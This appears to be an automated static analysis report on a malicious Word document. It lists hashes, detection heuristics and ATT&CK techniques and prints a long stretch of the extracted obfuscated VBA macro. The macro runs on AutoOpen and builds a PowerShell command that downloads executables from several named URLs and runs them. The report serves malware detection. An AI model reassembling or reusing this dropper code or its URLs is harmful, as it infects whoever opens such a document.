Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 046e92ec4428c968…

MALICIOUS

Office (OLE)

78.5 KB Created: 2017-11-11 00:46:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 74689e89488871a44ba04ce550799887 SHA-1: 61dab3a80e0ad54f858436b3a2381c8a9a522e6e SHA-256: 046e92ec4428c968da8213aefd45fedc4a3ac239719baf85b2a5067963deefb2
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within VBA macros. The extracted VBA script, while obfuscated, contains strings that appear to be constructing URLs for downloading payloads. Specifically, the script attempts to construct the URL 'http://przkoB+koqTL+qTLbedskoB+koBzkokoB+koBle25.edkoB+koBu.konikoB+koBn.pkoB+koBsqUrTqdJ' and uses System.Net.Webclient to download and execute it, which is a common technique for dropping second-stage malware.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6370728-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6370728-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://mimozan.comkoB+koB/koB+koBe/ko In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36744 bytes
SHA-256: 5499bb585858685d636ca3bf2be80bf3831a77f4f08d5f82ea173711df221ea0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 32 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jIVdaMHLR"
Function UDEmYYAFz()
vzpIqliSO = Mid("J3iFAn6jOSYr6FZVVAUSnOoB,['+'CHAR]36 -ReplaqTL+qTLCEkoBb'+'aNkoB,[CHAR]92  -qTL+qTLcrePlacE koBxZHkoB,[CHAR]39) OvY&( ([StRiNG]bJ5vErboSEpREfereNcE)[1,3]+koBXqTL+qTLkoB-joINqTL+qTLko'+'BkoB)qTLG4TW6N", 23, 171) + PCVzdwp + WTWRFPj
YvSiNKIWQ = Mid("roB+koB'+'tkoB'+'+koBemkoB+koB(koq'+'TL+qTLB+koBJAlkoB+koBhukoB+kos6ihRt18ComF", 2, 65) + ImhPwjD + usdIipr
HAPFOnENp = Mid("06LB.rukoB+koB/pkoB+koBukoB+koBtsitemsh'+'ereko'+'B+koB/koB+koBTxKvj/ko'+'B+koBxZqTL+qTLHqTL+qTL.qTL+qTLSkoB+koBplit(xZH,xkoB+koBZH)koB+koB;JAlkoB+'+'koBkarapkoB+koBaqTL+qTLs koB+koB= JkoB+Rm71zo0GosOVa7", 3, 187) + OnIaBKk + jpRziiU
ZZMAi = Mid("faDAjp8WLE0).rePLACE(qTLbJ5qTL,[StrinG]['+'ChaR]36).rePLACE(qTLkoBqT'+'L,[StrinG][ChaR]39).rePLACE(qTLOvYqTL,[StrinG][ChaR]124)RHD INvOkE-EXPResSiON').repLAcE(([Char]113+[Char]84ZY9s", 12, 167) + jstGZdp + AInjhYO
tOQzGMMZC = Mid("BlJCPXswHjAOVibr+koBJAko'+'B+koBlbcdkoB+koB koB+koB= koB+koBxZHhkoB+koBttp://przkoB+koqTL+qTLBedskoB+koBzkokoB+koBle25.edkoB+koBu.konikoB+koBn.pkoB+koBsqUrTqdJ", 17, 135) + wPssXIZ + GcEqWwq
ksEvwfk = Mid("CfCtojzct koB+koBSystem.Ne'+'t.WekoB+koBbkoB+koBCkoB+koBliekoB+koBnt;JAlkoB+koBnsadakoB+koBsd = nekoB+qTL+qTL'+'koBw-koB+koBokoB+koBbjkoB+koBect rkoB+koBanqTL+qTLdom;koBiYqJY2", 8, 162) + zztbUJX + ooAGaGc
FGLIJo = Mid("SDVVjTplahWEv7OB9MIBkAkoOJAlabc koB+kqTL+qTLoBikoB+koBnkoB+koB koB+koqTL+qTLBJAkoB+koBlbkoB+koBcd)koB+koB{koB+koBtry{J'+'AlfkoB+koBrankoB+koBc.DokoB+koBwkoB+koBnl'+'koB+koBoadFile(koB+koBJAlabkoB+koBc.TkoB+koBokoB+koBSkqFnmI", 26, 194) + jkLfUfH + zvijwNS
WSNzqpK = Mid("G0h4koWj4hawNRjh8CujBas);brkoB+koBeak;koB+k'+'oB}'+'cakoB+koBtckoB+koBqTL+qTL'+'h{writekoB+koB-koB+koBhost '+'JAlkoB+koBqTL+qTL_koB+koBqTL+qTL.koB+ovYh2HY", 21, 127) + lEhqsFQ + uvmwriQ
ZfPbvjJAuNt = Mid("CVO5QmAcM2wGAofokoB+ko'+'BrkoB+koBekoB+koBa'+'koB+koBchkoB+koB(koB+koBzu1dt", 15, 56) + PmkRZKZ + zFVNCPC
FWKZmohi = Mid("HvYaNxZH + koB+koBJAlkarkoB+koBapkoB+koBaskoB+koB + koB+koBxkoB+koqTL+qTLBZH.exexkoB+koBZH;koB+koBIz37iRG", 4, 95) + rNSvkjz + LaJGUNb
FzwzC = Mid("k3oZks98mvujzvzcAH.( $EnV:PublIC[13]+$env:PubLic[5]+'X')(('(qTL((koBJkoB+koBAlfranc koB+ko'+'B= koB+koBnkoB+koBewkoB+koB-okoB+koBbqTL+qTLjeJLKLZRTqurr", 19, 121) + QLQdAOI + uHiWVlR
VzbiPMTEuH = Mid("ZwvMRF5rUolzwkbGQ86i7uhEXrG6PYn2nu+[Char]76),[String][Char]39).repLAcE('RHD','|'))lCRz", 35, 48) + uQwDlJz + qrNNNbi
kRiEOI = Mid("j8RUhJhS0GlkoBhttpqTL+qTL://remontkoB+k'+'oB'+'-britv.rkoB+koBu/ko'+'B+koBUamkoB+koBuKMpu/,koB+koBhttkoB+k'+'oBp:koB'+'+koB//edkoB+koBavspbkoB+koqTL+qTOL8", 12, 140) + TkirjNO + XRAHbiI
LXdmOW = Mid("sMCq'+'TL+qTLkoBExkoB+koBckqTL+qTLoB+koBekoB+koBption.Message;}}koBqTL+qTL) -crePlacE  koBJAlkdd7JD5fwwNqj2pj", 4, 91) + czHEiXc + jVsQBvw
FtvVYw = Mid("jEjZFU5oB+'+'koBtringkoB+koB(), JkoB+koBAlhkoB+koBua'+'s);koB+koBIkoB+koBnvokkqTL+qTLoB+koBe-I'+'kaiCzFCo", 8, 91) + wFUqzpB + zWEklJl
pSziTzmr = Mid("UnnmzcazX3ONTtl/dWjuO/,http://mimozan.comkoB+koB/koB+koBe/ko'+'B+koB,htqTL+'+'qTLtpkoB+koB:kqTL+qTLoB+'+'qTL+qTLk'+'oB//benkoB+qTL+qTLkoBit'+'.bikoB+koBz/koB+koBesuBzzkoB+koBmU/,koB+wO8rpK", 15, 168) + ODzIzWm + vKwJwiY
wENOHpQWTKc = Mid("BdhjBNqwtADIkoBqT'+'L+qTLAlnkoB+koBskoB+koBadkoB+koBqTL+qTLaskoB+koBdkoB+koB.nextkoB+koB(koB+koqTL+qTLB1, 343245koB+koB);JAlhuas = JAlenv:koB+koBpublic +koB+koB xZHkoB+koBbD9kMA9KwX0", 13, 160) + wKjcIIA + mcJPjYp
UDEmYYAFz = wpwZIribq + AtzWukBtI + Chr(34) + FzwzC + ksEvwfk + tOQzGMMZC + pSziTzmr + kRiEOI + HAPFOnENp + wENOHpQWTKc + FWKZmohi + ZfPbvjJAuNt + FGLIJo + FtvVYw + YvSiNKIWQ + WSNzqpK + LXdmOW + vzpIqliSO + ZZMAi + VzbiPMTEuH
End Function

Attribute VB_Name = "fLZplrAzw"
Sub AutoOpen()
VhEwXXdBK
End Sub
Function AtzWukBtI()
EaikGuu = Mid("l2fAfci%=LAAOovfYCqfCGm0H8IDY3z0mRsJ", 4, 11) + kSzAOjf + wfz
... (truncated)

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